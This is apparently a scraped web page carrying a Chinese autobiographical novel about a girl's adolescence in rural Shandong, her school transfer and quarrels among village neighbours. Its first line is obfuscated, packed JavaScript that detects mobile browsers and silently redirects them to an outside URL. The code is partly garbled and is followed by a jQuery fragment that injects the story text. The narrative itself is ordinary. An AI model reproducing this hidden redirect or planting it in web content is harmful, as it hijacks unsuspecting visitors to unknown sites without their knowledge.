;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137790|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不让我走,我说,是她打的你,又不是我打的。” 我说:“他们还说什么了?” 李艳红说:“他们问我你的名字。我说,叫宋红省。” 我说:“你跟他们说我的名字干嘛?你别跟他们说呀。” 李艳红说:“我当时哪儿顾得上这些。” 我说:“嗯。反正我以后都不走杜村了。” 这以后,我上学放学都走萝村家前,绕路回我爷爷家。 这样走了一段时间,我又想走杜村了,因为杜村很近。星期五放学回家的时候,我就撞着胆子到了杜村家前,经过了那片石桥。我在杜村家前的小路上骑车,马上就要上坡了,上了坡就是荆堂了。 这时候,从杜村庄东头的小路上杀出来一队人马。三四个小男孩吆喝着朝我跑了过来,喊杀声不断,他们边跑,边低头在地上捡起石头,向我扔过来。杜村家前旱时是陆地,涝时是大河。所以,这条路上鹅卵石很多。我正骑车上坡,车速太慢,又不能弃车保卒,很快就被他们抓住了车后座。我被他们围堵在上坡的高岗上,时不利兮骓不逝,我吓得大喊救命! 东边的坡上,一个中年男人站在田埂上,扛着铁锨从东往西走了过去,他明明听见了我的呼救,却连眼皮子都没有翻,径自走了过去。我继续喊叫。这时,一个妇女挑着两个铁桶,沿着坡上的小路,从西往东走过来了。她看见了高岗上的我,也听见了我的呼救。她气得大骂她的孩子:“该死了你!死回家去!” 她的叫骂很管用,一个男孩子撒了手,朝着他妈妈说:“是二孩儿让我拦着她的。又不是我!” 他妈妈说:“你给我滚回家去!”那几个男孩子停了手,我趁机骑上自行车飞快地跑了。真是有惊无险。这以后,我又有好长时间不敢走杜村了。但是经过这次事件,我跟杜村男孩子的战争也告一段落。后来,我又太太平平地走杜村上学,再也没有人来追踪我。 过了些日子,我跟李艳红去照相。照相馆就在我们学校的家属院里。开照相馆的是春花大姨的丈夫。春花大姨是我二姨姥娘家的闺女。我知道这层关系,本来不想去她家照相。但是我很想跟艳红一起照相,我就伙同李艳红一起去了。 大姨夫亲切地接待了我们。我说:“我想跟她一起拍一张婚纱照,我穿绿军装,她穿婚纱。”大姨夫同意了,我们很快换好了服装。我那时候是十四五岁的年纪,穿着淡绿色的短袖军装,戴着大盖帽,圆圆的脸,笑嘻嘻。李艳红白白胖胖、膀大腰圆,穿着粉色的婚纱,坐在我旁边,我的手搭在她的肩膀上。 我们拍了一张合照,两张单人照,拍完了照片就走了,大姨夫让我们几天以后去取照片。几天过后,等我去取照片的时候,我想付钱给大姨夫。大姨夫说:“不要钱。”大姨也在旁边笑嘻嘻地说:“不要钱。”我就拿着照片,跟艳红一起开心地离开了。照片拍得不错。我把照片拿回家,给爷爷看。爷爷站在堂屋门口,看了看,把墙上的相框拿下来。把我们的照片放到相框里,再用钉子订起来。 六月六,我们那边要蒸包子的。通常是蒸猪肉霉豆的菜包子。我家从来没有蒸过。 课间,华表哥拿了一个蓝色的布包放在我的桌子上:“包子,俺娘让我给你的。” 华儿表哥跟表大娘长得一样,都是笑嘻嘻的,大眼睛,圆脸儿。他成绩不太好,但是天天笑嘻嘻的。他恋爱也谈了,姑娘是本班的,萝村人,长着萝村人特有的大大的眼睛和棕黄色的皮肤。姑娘叫什么,我忘记了,打扮地不错,就是成绩不太好。他们几对儿男男女女成天混迹在一起,成天在班里进进出出,倒也是自成一派,风生水起。 华表哥把一袋子包子给我,我一时有些不知所措。 “不用了,谢谢。”我赶忙回答。华表哥早就走开了。 中午放学以后,我把包子带回宿舍,吃完饭,又把书包还给表哥。 夏天的一天,那绝对是一个夏天,我周末放学回家,买回家几个白的、绿的甜瓜,放在书包里,挂在车把上,准备带回家跟我爷爷一起吃。 我骑车到坦上集家前,自行车链子掉了,我立刻停下来,蹲在地上,把弄我的车链子。在我身后,一个骑车的小男孩没有注意到我,连人带车,径直从我身后撞了过来。我被撞倒在地,我的自行车也被撞倒在地。我没事,我的那一书包的瓜可是全军覆没,一个个脑浆迸裂,金黄的又香又甜的瓜汁水从包里流出来,淌了一地。 那个小男孩问我:“你没事吧?” 我说:“没事。”虽然我的瓜没有几个是完好无损的了,可是我知道这也不全怪他。 可是,这时候,我的华儿表哥从后头骑着自行车赶来了。他见我被人家给撞了,跳下自行车,照着那男孩儿的脸,“啪啪”,抬手就给了人家两个巴掌。 “下回还敢吧?”华儿表哥问人家。 “不敢了!”那个小男孩说。 我赶紧去劝华儿表哥:“表哥,你不要打他了。不怪他。” 那个小男孩愣愣地站着。等待着华儿表哥的惩罚。我不知道那个小男孩为什么就那样乖乖地挨着,他为什么没有闪躲或是逃跑,或是跟华表哥打上一架。他为什么要任由他打呢?华儿表哥为什么就敢明目张胆地打别人呢?是不是仗着他是坦上集的呢。 “滚吧!”华儿表哥命令那个男孩儿说。那个小男孩这才骑着自行车走了。 “你没事儿吧?”表哥问我。 “没事儿。”我说,“你不要打他,不怪他。” “这样的,就该揍。”华儿表哥说,“我走了。”说完,他飞身上车,蹬着他的自行车扬长而去。 其实,在我眼里,华儿表哥并不高大,也不怎么壮实,他怎么会那么自信去打人呢?被打的那个小男孩我也认识,跟我同一个年级,就是不在同一个班,也不知道叫什么名字。他长得高高黑黑瘦瘦,也是大大的眼睛,不比华表哥赖,他怎么就由着华表哥打呢?后来的一天,我在人家教室门口看到他,他在若无其事地玩耍,我看了他一眼,他也知道是我,但是,他好像对那天的事没怎么放在心上,又在自顾自地玩耍。可怜的孩子!他还是个十几岁的孩子呢! 4.转学离开山东 我的英语成绩上来了,后来王老师不再教我,我的英语成绩还是稳稳的,经常考班里数一数二的,我的总成绩也好了很多,我又变得没那么厌学了。我开始打疲劳战。经常晚上该睡觉的时候不回宿舍,在教室里点起蜡烛学习。有时候我们的老师来了,还会在烛光阵里辅导上几个人,回答他们的难题。等值班的老师把我们赶出了教室,有的人还是不肯回宿舍,就在教室和厕所旁边的路灯下看书。 那样的疲劳战对我来说有害无益,但是我居然就那样执迷不悟地继续。任凭老师和同学怎么劝说也没有用。长期休息不好,我的脑袋一直是痛的懵的,头顶上,额头正上方,像是贴着一块没有发酵的僵硬的面饼子。为了消耗而消耗,现在看来当然毫无效果和意义,但是当时就这样做了,其原因可能自己也搞不清。 我记得有一回,已经三月了,突然下了一场雪,大家说那是桃花雪。晚上,该回宿舍睡觉了,我们还在教室走廊里的路灯下看书。天空中的白雪花飘飘洒洒,我们那时候也是因为傻,胆子大,不知道天黑害怕。 我站在路灯下看书。我的身上还穿着一件一周都不会换的裤头子,一阵风吹过,就把我□□里的尿骚味给吹出来了。是的,我只有一条裤头子,我一直穿着,只有到了周五放学回家洗衣裳的时候,我才知道去洗它。 我爱上厕所,我们那时候上厕所还不用卫生纸,用的都是自己的作业本儿。有一个女孩子,上课的时候来了大姨妈,她一张张的搓着自己的作业本上的纸,送到自己的屁股底下。还有一次,我们班的一个男生,晚上在家里上茅房的时候,因为天黑,把自己的试卷给擦了屁股了。那时候,上厕所尿尿是不擦屁股的。所以,我裤头子的尿骚味就特别大。我知道这个,我怕走近人家,我怕人家走近我。可是我就是不知道换一条裤头子。我的娘哎,我那时候为什么成天只穿一件裤头子呢?我为什么就不知道买一条换换呢?难道是因为从小到大,我一直是那样的,所以我习惯了吗?我坚定不移地认为人生只能拥有一条裤头子吗?在我十五岁之前,我一个星期只穿一条裤头子。我都不知道人是可以同时拥有两条裤头子甚至好几条裤头子的?我都不知道裤头子还可以换洗的?我不知道,真的不知道哇。 王海梦恰巧也在看书。他站在离我一丈开外的地方,闻不到我裤头子里的尿骚味,很安全。我们各自安安静静地看了一会儿书。王海梦朝我走过来了。他走过来了。我只好等着他。 “这个单词念什么?”他指着他的英语书问我。 “blackboard。”我说。 “谢谢!”王海梦说。 “没事儿。”我斯斯文文地说。心里还在嘀咕着,他有没有闻到我裤头子上的尿骚味儿啊。可是,看王海梦的样子,他好像没有闻到似的,他一副很绅士的样子。于是,我们又捧起自己的书,各看各的。 王海梦长得白白胖胖,高高大大,开开朗朗,是我们班的文娱委员。 那些日子,我们中午还要唱歌,王海梦站在讲台前领唱:“你红红的那个嘴呀,弯弯的柳叶眉,洁白无垠散发着青春的光辉,这样的女孩真让我陶醉!” 然后我们全班跟着他一起唱:“你红红的那个嘴呀,弯弯的柳叶眉,洁白无垠散发着青春的光辉,这样的女孩真让我陶醉!” 王海梦又唱:“你总是心太软!心太软!独自一个人流泪到天亮。 你无怨无悔的爱着那个人,我知道你根本没那么坚强。你总是心太软心太软,把所有问题都自己扛!” 我们全班同学又跟着唱:“你总是心太软!心太软!独自一个人流泪到天亮。你无怨无悔的爱着那个人,我知道你根本没那么坚强。你总是心太软心太软,把所有问题都自己扛!” 初三快期末的时候,我妈妈决定让我转学了。到南乡上中学。我心里其实是矛盾的,说不上想在南乡,还是想在北乡。北乡有我熟悉的爷爷和老家,南乡有我最想念的妈妈。 我走的那天没有告诉我爷爷。我爷爷如果知道我转学去南乡,肯定不会同意的。 那天下午,我妈妈到学校等我,我去跟班主任老师说我要转学了。接着,我就去宿舍叠被子,去教室搬桌子。我本以为我就这样静悄悄地离开了。但是我回教室搬桌子的时候,居然惊动了全班同学。他们听说我要走,都坐不住了,纷纷跑出来跟我道别。 景瑶瑶还抱着我哭了,她说:“我心里好难受。” 我的班主任心里可能也不太好受吧。 他说:“大家也不要难过,宋大省到哪里都是个人才。” 爱流鼻涕的宋刚端也出来了,他跟大伙儿一起看着我。 我妈妈本来在学校门口等我的,但是我的同学一下子都跑出来,到学校大门口送我。她也许是被我的同学给我送别的场面给感染了,心里也生出很多心酸,她很是应景儿地心事重重地跟我的老师同学们说:“谢谢,谢谢同学们”。 我妈妈那天的表现跟那种师生送别的场面非常和谐。 我平时因为家境贫寒而自卑,不怎么跟人来往。尤其是男生,我很少跟人家搭茬儿。我从十四岁到二十四岁,我的整个的青春期,跟男生几乎都是绝缘的。我走路低着头走路,见了男生远远地躲着,从来不主动跟男生说话。也许是出于同情吧,我不知道原来我的同学们会这样热情地出来跟我送别。 我只有一辆自行车,又要带被子又要驮课桌。其实,凭我妈妈跟我,也是可以搞定的。其实,对于我们这样善于吃苦耐劳的骆驼来说,那些文质彬彬的人性化的人文关怀根本就是多余的。我们扛的起很多重东西,一个课桌,一床被子对于我们来说算什么。 王海梦说:“大姨,宋大省恁么多东西,怎么带啊,带不了啊。我去送送吧。” 我妈妈说:“谢谢小同学,不用了,我给她抱着被。” 可是王海梦还是坚持要送我。宋大秀当时跟我一个班,她也要去送我。于是,跟她玩地不错的一个男生,也骑上自行车跟我们一起去了。我带着我妈妈。我们这个小分队就这样出发了。 一路上,我们叽叽喳喳地说话。王海梦说:“我以后办个希望小学,你来当英语老师。”我说:“行啊。”我们就这样一路说说笑笑到了我姥娘家。 那时已经是晚上七点多钟了。要不是天上升起了月亮,给夜色笼上了一层银光,他们几个小伙伴回去的路上,可就要摸黑走夜路了。我姥娘家里太拥挤,根本踏不进脚去。我姥娘裹着小脚走出来跟他们客气,我妈妈很感谢他们,也不知道怎么报答人家,就把我姥娘的暖壶提出来让他们喝茶。其实那暖壶里头的热水也不多了,我妈妈连壶底的茶碱一起倒出来,才只有小半碗温开水。 他们都说“不渴!不渴!”我妈妈还是极力地劝着他们喝茶。我知道他们小青年爱干净,才不要喝老太太的水,所以我在一旁,并不像我妈妈那样,极力劝他们喝茶。 宋大秀跟那个男生不肯喝,倒是王海梦这个勇夫,为了照顾我妈妈的面子,很豪气地接过来“咣当咣当”地喝下去了。王海梦喝进去了一碗底子的掺着茶碱的水。王海梦辛辛苦苦送了我一路,被我妈妈灌了一肚子的茶碱。 “大姨,我们回去了。”他们跟我妈妈说。我跟我妈妈站在我姥娘家大门口,目送他们走远了才回家。 夜里,我睡在姥姥家屋檐下,耳边传来一声声鸡鸣,一声声都像是在叫:“大省儿——大省儿——”那声音有气无力,又哀凄无比,叫我思念爷爷。 我知道,爷爷肯定会想我。听爷爷说,我小时候,有一回被寄养在大姑家里,我爷爷不放心,他在半夜里启程,步行去我大姑家找我。夜里,路途崎岖,爷爷几次掉到沟里去,差点被摔死。 爷爷到了大姑家,我见了爷爷,一下子扑到爷爷怀里,哭着喊:“爷爷——” “省儿啊——”爷爷也哭了。爷爷每次跟我说起这事儿都眼含热泪。 第二天,我跟我妈妈天不亮就动身了。我自行车后座上驮着我的刷着红漆的课桌,和一床绿色的被子,车把上挂着一袋子衣服,想带我妈妈也没办法带,我妈妈也不让我带她,我就骑骑,走走。 那时是五月,快到夏天了,天热。下午的时候,我们到了南乡的一个镇上的初中,我妈妈为了我到南乡上学,托春燕大姐给我转学过来的。我跟着我妈妈进了学校大门,我妈妈跟门卫说:“俺找春燕老师。”门卫让我们进去了。我妈妈敞着她的绿色褂子衣襟,我用自行车驮着一床绿色的棉被,就这样到了校园里。 当时正是课间,很多学生都在路上走着,他们看见了我们很好奇,“嘻嘻哈哈”地跟着我们走着。我妈妈脸上汗汗的红红的。我的脸上也汗汗的红红的。我妈妈在路上跟人家打听了春燕大姐的办公室,我们上了三楼,来到了春燕大姐的办公室。 春燕大姐当时在抱着一沓书,背对着门口儿站着,猛一回头看到了我和我妈妈,春燕大姐的脸刷地烧红了。我特别理解春燕大姐当时的羞愧难当,想找个地缝子钻进去的感觉。换作是我,我也会那样。 “俺三姨来了!”春燕大姐说。春燕大姐赶紧把我们带离了她的办公室,来到了她的教师公寓那里。那是一片划分成一间一间的小平房,有的职位高的可能还带个大门跟小院墙。春燕大姐让我在她宿舍坐着歇歇,她骑上自行车送我妈妈去车站,下午了,我妈妈要回家。我就这样又跟我妈妈分开了。 17. 大恶心、二蛮子 1.凡奎大爷 我们在大门口儿剥着蒜,凡奎大爷转悠着来我家了。 “二哥来了,二哥家来坐坐。”我妈妈跟凡奎大爷打招呼说。 “我不坐了,三妹。”二大爷说。 “二哥你来有事儿吗?”我妈妈问他。 “我来齐放水钱的。凡乐不搁家嘛。”二大爷笑着说。 “俺不知道哦,二哥。俺跟他不搭腔。”我妈妈说。 “这是恁凡奎二大爷。恁大爷是生产队长,队里齐放水钱。人家都给咱免了。”我妈妈跟我说。 “大爷!”我说。 “大姐放假了?”二大爷说。凡奎二大爷黑黑瘦瘦,笑嘻嘻地。他穿着一件蓝色的尼龙汗衫,抱着膀子,卷着裤腿儿,空荡荡的裤管儿下,两条小腿儿细细的。 “放假了,大爷。”我说。 大爷说:“大姐好好上学。以后也考个研究生。给恁妈妈争口气。你看立围子那个研究生,考上大学了,老师来送通知书,他还光着脚丫子搁稻田地里栽稻来。临去上大学,他庄上的人给他齐的钱。人家现在又考上研究生了,你看好吧。” 我妈妈说:“大丫头听到了吗?好好上学。恁凡奎二大爷对咱家可好了,可照顾了。” 我说:“哦。” “都一样。”凡奎二大爷笑着说,“俺家也是三个孩子,都是穷日子过过来的。” 我妈妈说:“恁二大爷心善。人家看咱是外地的,人家也不扼咱。还是好人好。人家恁大爷三个儿,有两个都盖上瓦屋了。” 二大爷笑嘻嘻地说:“就剩下小三儿了。什么时候等小三儿结婚,完成任务了,我就能夹上眼了。” “恁别急哎,二哥。你跟俺二嫂子一块儿,慢慢儿劳动哎。小三儿不是还小嘛。”我妈妈说,“你今年多大了,二哥?” “我今年五十八了。”凡奎大爷说。 “你看看,连六十都不到。你还能给俺三个侄子劳动不少年来。”我妈妈说,“恁家俺二嫂子多大了?二哥?” “她四十七了。”凡奎笑着说。 我妈妈说:“你看,俺二嫂子还年轻。地里的活儿,家务活儿,多亏了二嫂子,二嫂子能干。” “我身体不好,她不干怎么办?”二大爷笑着说,“我回去了。恁二嫂子该做好饭了。”“行,二哥。恁好好抚养身体。”我妈妈说,“恁二大爷可是个好官儿了。” 等凡奎二大爷走远了,我跟我妈妈说:“妈,我看俺凡奎大爷,跟纪王庄的纪岩喜爷爷样的。” 我妈妈笑着说:“你看恁凡奎大爷像恁岩喜爷爷啊?” 我说:“嗯,个头儿、脸膛儿都像。都笑嘻嘻地。” 我妈妈说:“恁凡奎大爷跟恁岩喜爷爷都是好人,都对咱帮助可大了。” 我说:“咱这都多少年没见过俺岩喜爷爷了。还有小姑。” 我妈妈说:“俺先前还带着鸿雁跟笑笑去看过恁岩喜爷爷岩喜奶奶呢。人家对俺那个热情呢的。” 我说:“恁去岩喜爷爷家,带的什么啊?” 我妈妈说:“俺能带什么啊?俺就带了一粪箕子山芋。咱家种的。” 我说:“恁么多年没去了,你就带了一粪箕子山芋啊。” 我妈妈说:“咱穷,恁姊妹仨都要上学。咱能带什么啊?你想去吧?回我带你去。” 我说:“我不想去。咱家太穷了,没有什么给人家。等我上好学再去。” 我妈妈说:“行。咱是不能去。咱去看人家,没有什么给人家,人家还倒搭东西给咱,人家不光搭东西,还搭菜搭饭。” 我说:“等俺上好了学再去。” 我妈妈说:“行。等恁都上好了学。咱找个清明佳节。咱娘四个儿买上礼品,咱一块儿去。” 过了一段时间,等我放学经过凡庄庄西头儿的时候,我看到庄西头儿的菜地里竖起了一座大坟。大坟上是新新的花圈和新新的黄土。 回到家,我问我妈妈说:“妈,我看到庄西头儿有一座坟子的?这庄儿上谁死了?” 我妈妈说:“恁凡奎大爷死了,还不到六十,可怜吧。撇下恁凡奎大娘一个人了。” 我问妈妈:“俺凡奎大爷怎么死的?” 我妈妈说:“恁凡奎大爷得的肝病。肝不好。好人不长命呢,你说说?那些坏种怎么就不死的?恁大爷几个儿因为穷,没钱给他爹买火化证儿,把恁凡奎大爷给火化了。弟兄几个抱头痛哭。哭地可可怜了。” 我说:“妈,一个火化证儿多少钱?” 我妈妈说:“万把块钱。” 我说:“娘啊,恁贵啊。那谁买的起啊。” 我妈妈说:“就是因为贵,恁大爷的三个儿才买不起的。都刚结婚,哪有什么钱啊。” 我说:“买不起火化证儿,就不买呗,哭什么的?” “不给他爹买火化证儿,他爹不得火化吗?”我妈妈说。 我说:“火化就火化呗。俺爸爸那时候不是就火化了吗?” “火化不烧得疼吗?”我妈妈说。 “人都死了,疼什么的?”我说。 “儿女觉得疼哎。”我妈妈说,“人这庄上都兴这样。爹娘死了不火化,多花钱买个火化证儿。这样显得孝顺。” 我说:“人都死了,什么孝顺不孝顺的。” 我妈妈说:“人家都这样,你不这样,就显得不孝顺哎。恁凡奎大爷火化了,搁这庄上是头一份儿。儿女也觉得丢人,没面子。” 我说:“什么面子不面子的。咱荆堂就不弄这些事儿。人家老的死了都火化。” 我妈妈说:“那是因为荆堂的人穷,没有钱。买不起。” 我说:“不火化有什么好。到时候烂了臭了。还不如火化干净。” 我妈妈说:“就是的。到以后我老了,恁姊妹几个就把我火化火化,不要买火化证儿。浪费那个钱干什么。俺不在乎这些。” “我也不在乎这些。”我说。 2.二蛮子 “二蛮子”跟她的三个孩子就住在我家前头的土台子上,近水楼台,我妈妈最先和她亲香了起来。 “二蛮子”是贵州人,说话腔调儿跟此地人大为不同。常常在家里,就听到她在她家天井里喊她的两个儿子:“通通——傲傲——家来吃饭了!” 通通、傲傲还小,比我妹妹还要小一点,两个小男孩儿长得黑乎乎,笑嘻嘻,像个缩小版的小老头儿。 我弟弟爱学“二蛮子”的口音:“通通——傲傲——家来吃饭了!” 我妈妈说:“鸿雁,你别笑话恁二奶奶哈。恁二奶奶可不容易了。” 我弟弟说:“‘二蛮子’天天跟一伙男人一块儿打牌儿,她有什么不容易的。” 我妈妈说:“‘二蛮子’也是丈夫死了,她原先的丈夫是大先。大先死了,撇下小九儿、通通、傲傲,三个孩子。‘二蛮子’坐山招夫,招了她近房的小叔子凡楼。人家‘二蛮子’命好。凡楼种地、带孩子玩儿,她就搁家里跟一伙男人打牌。” 我弟弟说:“‘二蛮子’不是好东西。那些打牌的都跟‘二蛮子’相好。” 我妈妈说:“‘二蛮子’就是这种人。咱别说人家。与咱有什么?她跟咱一样,都是外地人,还寡妇失业的,她家小孩儿,跟恁姊妹仨差不多大,咱都是苦命人。俺见了她,都是‘二婶子’长、‘二婶子’短的。俺不管那些!人家都说她不好,只要她不辞蹬咱,那就是好人。人家都说她好,她光想扼咱,那她就是坏蛋!谁是‘人物’,我也不巴结他。谁没有用,是个下才烂,我也不跟旁人一块儿扼他!” 我家的外交政策,像极了新中国的外交政策。遭受大国打压,那就结交一些正义的“苏联老大哥”和一些“亚非拉”朋友。 “二蛮子”的确名声不好,有一回,她去赶集的路上,遇到了凡宫大爷。 她问凡宫:“凡宫,你去赶集的?” “是的,婶子。我去赶集的。”凡宫说。 “你带了多少钱?”“二蛮子”问他。 “我带了五块钱。”凡宫说。 “凡宫,咱去玉蜀黍稞里玩玩吧?”“二蛮子”说。 “我不能去哦!我去了,我那五块钱就得给你了。我就没有钱赶集了。”凡宫背着手走了,不管她。 “二蛮子”很懒。每天早上,“二蛮子”总是睡到日上三竿。小九儿早上起来,熬个猪肉白菜,做了大米饭。我妈妈挑着水桶去“二蛮子”家打水,“二蛮子”睡够了刚起来。她去锅里盛了大米饭,又浇上菜汤,坐在那里闷闷地吃饭。 我妈妈说:“二婶子,你看你生活多好啊,肉汤子浇大米饭,还有小孩儿给你做饭。我就没那个命。” “二蛮子”说:“你家的是没干惯。小九从小就给我烧饭,干惯了。” 我妈妈说:“还是二婶子会调教小孩儿。” “二蛮子”说:“做母亲的勤快了,小孩儿就懒。做母亲的懒,小孩儿就勤快了。俺家恁二叔兄弟几个都会做饭,因为他娘懒。他娘好吃懒做,把他气的去跳河。” “我听说过这事儿。二叔跟他娘吵架,气地去跳河。二叔会水儿,跳到水里就是不沉地儿,哭着游到这来,游到那来。真好笑!”我妈妈笑着说,“二婶子吃完饭干什么?” “我没事没事儿,搁家里打牌。”“二蛮子”说。 “哦,我得回家补袋子去了。二婶子。种地,装粮食,装大蒜,都要袋子。”我妈妈挑起扁担说。 姓“凡”的几个娘们儿吃完饭凑到凡乐门前,一起叽咕半天。姓凡的那些女人,人家有男人,有靠山,又是嫁到凡庄十几年,她们的眼神儿里含有凡庄的主权。我妈妈有活儿就去地里干活儿,没事儿了就缝针线,补化肥袋子。装大蒜,卖大蒜,都要袋子。袋子用旧了容易坏。我妈妈舍不得买新的,就把装大蒜的化肥袋子缝缝补补,用了一年又一年。 “二蛮子”吸着烟来我家了。 我妈妈一看到她从她家土台子上走下来,就高兴地招呼她:“二婶子啊,恁来了,麻来坐坐!我一个人缝针线迷困了,刚想放下手里的针线,到天井里走走的。 “二奶奶!”我忙喊道。我家门可罗雀,有人来,我们总是受宠若惊。“二蛮子”跟我妈妈年纪差不多,我看到她也很亲切。 “二蛮子”很会打扮,她穿着一件撇领儿的绛红色的褂子,红褐色的脸上常年搽着粉,那白粉看着很显眼儿,像是驴屎蛋子上下了一层霜。 “二婶子,今天没打牌?”我妈妈问她。 “没有。”“二蛮子”说。 “二叔搁家带孩子的?”我妈妈问她。 “嗯。”“二蛮子”吸着香烟说。 “你看你命多好。先前的二叔对你好。凡楼二叔来到凡庄对你也好。拿着三个小孩儿跟亲生的样。”我妈妈说。 “凡楼这个人就知道干活儿,他不懂得女人的心。” “二蛮子”说。 “二叔对你恁好,还要怎么样。有活儿干活儿,没活儿人家就带着三个小孩儿一块儿玩儿。三个小孩儿围着凡楼二叔,可亲了。”我妈妈说。 “你不再找一个吗?” “二蛮子”问我妈妈。 “我是带着三个小孩儿,不好找。俺因为超生罚款,还欠着账的,没人愿意替我还账。”我妈妈说。 “二婶子,我跟你说实话。我不喜男人,阎王爷爷没封我那一块!”我妈妈皱着眉头说。 “你不喜男人,那你还跟恁小孩儿爸生了三个小孩儿?” “二蛮子”笑着说。 “那是俺俩儿感情好。俺小孩儿爸爸拿着俺一心。”我妈妈说,“就是死了。俺没那个命耽他。”我妈妈说。 “我不喜凡楼。我不想跟他一块儿过了。” “二蛮子”说。 “你可别,二婶子。凡楼二叔对你好,对小孩儿好。你上哪儿找个对小孩儿恁么好的去。”我妈妈说。 “总有一天,我把凡楼给甩了。” “二蛮子”说。 “你跟凡楼二叔一块儿,看着三个小孩儿过吧,二婶子。二叔对你恁好,你要是猛然地把他给甩了,他闪地慌吧。他得多难过啊。二叔得哭。”我妈妈说。 不久后的一天,我放学回家,我妈妈在刷碗。她把一个搪瓷的洗碗盆子放在齐腰高的鸡窝上头,那是三姑姥娘原来的鸡窝,木头架子的,早就不养鸡了,搁在那儿,风吹雨打,快要散架儿了。我看到我妈妈脸上有被抓伤的血印子,像被猫抓的一样。 我问她:“妈,你脸上怎么回事儿?” “我跟‘二蛮子’打架了。”我妈妈说。我一听就放下心来了,两个女人打架,没什么要紧,我也不害怕。 “因为鸿雁,鸿雁跟通通打架,‘二蛮子’要去揍鸿雁。”我妈妈双手格啦啦地搓着一把筷子说。 “我好好地跟她说的”,我妈妈说,“我说,二婶子,山羊羔子皮学生。小孩儿搁一块儿玩儿,一会儿恼了一会儿好了。狗皮袜子无反正。小孩儿打架,你一个大人不能伸手哎。鸿雁还跟你叫二奶奶呢。” “‘二蛮子’说,‘我就是要打他,你护着他,我也打你’!”我妈妈说。 “我把脸伸过去,‘来!你打!你打我试试!’”我妈妈边在盆里稀里哗啦地洗着筷子,边低着头说,“我是仗着跟‘二蛮子’好,跟她开玩笑的。哪知道‘二蛮子’伸过手来,照我脸上就是一巴掌。我也反手扇了她一巴掌。” “你脸上怎么被抓成这样儿的?你抓她了吗?”我问我妈妈。 “我没抓到她。人家有相好的男人!人家屋里有一桌子男人搁她家打牌的,人家都向着她,都是她相好的。恶心也在。恶心拉着偏仗,从后头把我拦腰抱住,‘二蛮子’可得架儿了,她照我脸上又抓又挠,就这样把我的脸给抓破的。人家有相好的护着,我能打过人家嘛。”我妈妈说。 “那你就挨着啊?”我问。 我妈妈说:“后来,‘二蛮子’自己出来上厕所,我走过去又把她抓了一顿。这回,‘二蛮子’那一桌子相好的不在,急地直叫,‘通通——傲傲——’‘通通——傲傲——’”。 “你没把她打成什么样儿吧?”我问。 “没有。”我妈妈说,“你说这个‘二蛮子’,平时都稀好稀好的,说变性就变性。‘二蛮子’后来去找大队干部告我了。” “大队干部怎么说的?大队干部向谁啊?”我说。 “大队干部公平判案,都有错。她不该先打我,我不该后打她。人家调解调解就拉倒了。娘们儿头子打架,能怎么样儿。”我妈妈说。 “凡楼没搁家吗?”我问。 “凡楼没搁家,凡楼被‘二蛮子’给赶走了。哭着走的。”我妈妈说。 “‘二蛮子’真狠,说甩就甩了?”我说。 “凡楼不会甜言蜜语。‘二蛮子’喜会甜言蜜语的。”我妈妈说,“幸好凡楼不在了,他要是在的话,他得帮着‘二蛮子’打我骂我。凡楼对‘二蛮子’那个好呢的。” “人家对她恁么好,她还把人家给赶走了。”我说。 “‘二蛮子’不该把凡楼赶走的。她这步是走错了。亲叔伯兄弟,拿着孩子那个疼。‘二蛮子’这个人喜欢风流。老实的男人把戏不了她。她早晚得走。”我妈妈说。 “她往哪走?”我问。 “四外庄上,没有媳妇的光蛋汉子多的是了。‘二蛮子’把孩子一撂,到谁家里,人家不拿她宾客相待的啊。‘二蛮子’又不顾小孩儿,有几个像恁妈这样,顾孩子的。”我妈妈说。 从此以后,我妈妈彻底不跟“二蛮子”来往了。其实,打心眼儿里说,我没有那么恨“二蛮子”,她不是凡乐、大恶心之流,对我们没有多大的威胁。说到底,她也是个弱者。而且,因为她跟我妈妈亲香过,提起她,我甚至还是觉得有些亲切。 “二蛮子”照旧打牌,成天一桌子牌友,轰轰烈烈。 3.大恶心、孬蛋家 我妈妈既然跟“二蛮子”不再来往,也就不去她家挑水,转而去我家正前方的大恶心家挑水。恶心是三姑姥娘的大伯哥的大儿子,是凡乐的亲侄子,跟凡乐叫二叔。恶心有一个男孩儿叫小芹。小芹娘看见我妈妈挑着胆子去她家挑水,就跟我妈妈打招呼。 “来挑水的,三姐?”小芹娘说。 “我以后得到恁家来挑水了。大妹妹。我跟‘二蛮子’吵架了,不能去她家挑水了。”我妈妈说。 “没事儿。你来俺家挑是的。”小芹娘说。 “俺——三——姨!”小芹说。小芹不知怎的,走路腿瘸,说话结巴。此刻,他正佝偻着身子,流着口水,瞪着大眼睛,看着我妈妈。 “哎!小芹!乖孩儿!我来挑水的。”我妈妈说,“你看小芹,长得多好,有红四白儿的。” “就是个结巴子。以后找对象犯难。”小芹娘说。 “没事儿,小芹长得好。能找个般配的。”我妈妈说。她按着压水井,咔赤咔赤地打着水,水溜子往洋铁桶里忽喽忽喽地流着。 “我说什么也得给小芹找个对象。”小芹娘说。 “小芹找对象不愁。像恁这样的家庭,好找。”我妈妈说,“恁种恁么些蒜。” 我妈妈把水挑回家,刚放下挑子,前院儿的大恶心就来了。 “三姐,恁家有化肥吗?我去撒化肥去。俺家没有化肥了。” “俺家还有半袋子化肥。搁墙根儿的。”我妈妈说。 “那正好,我还有半亩地,正够。”恶心说。他把半袋子化肥拿走了。 “你看看,跟强盗似的,看到什么要什么,看到什么拿什么。”我妈妈说,“我也不想给他们,可是你看看,人家上来就拿,上来就抢。姓凡的,都跟贼样。什么东西不能给他看到。” “妈妈,孬蛋他媳妇来了。三婶子长得还怪好看来。”我跟我妈妈说。 “孬蛋还没结婚,你不能给人家叫三婶子,要叫三姨。”我妈妈纠正了我。 “哦。三姨还怪好来,坐在那里,跟一群小孩儿一块儿,笑笑的。”我说。 “没过门儿的新媳妇儿,接来走老婆婆家,俺这些人都得给钱。”我妈妈说,“恁姊妹仨都得上学。钱!钱!钱!钱从哪儿来?!” 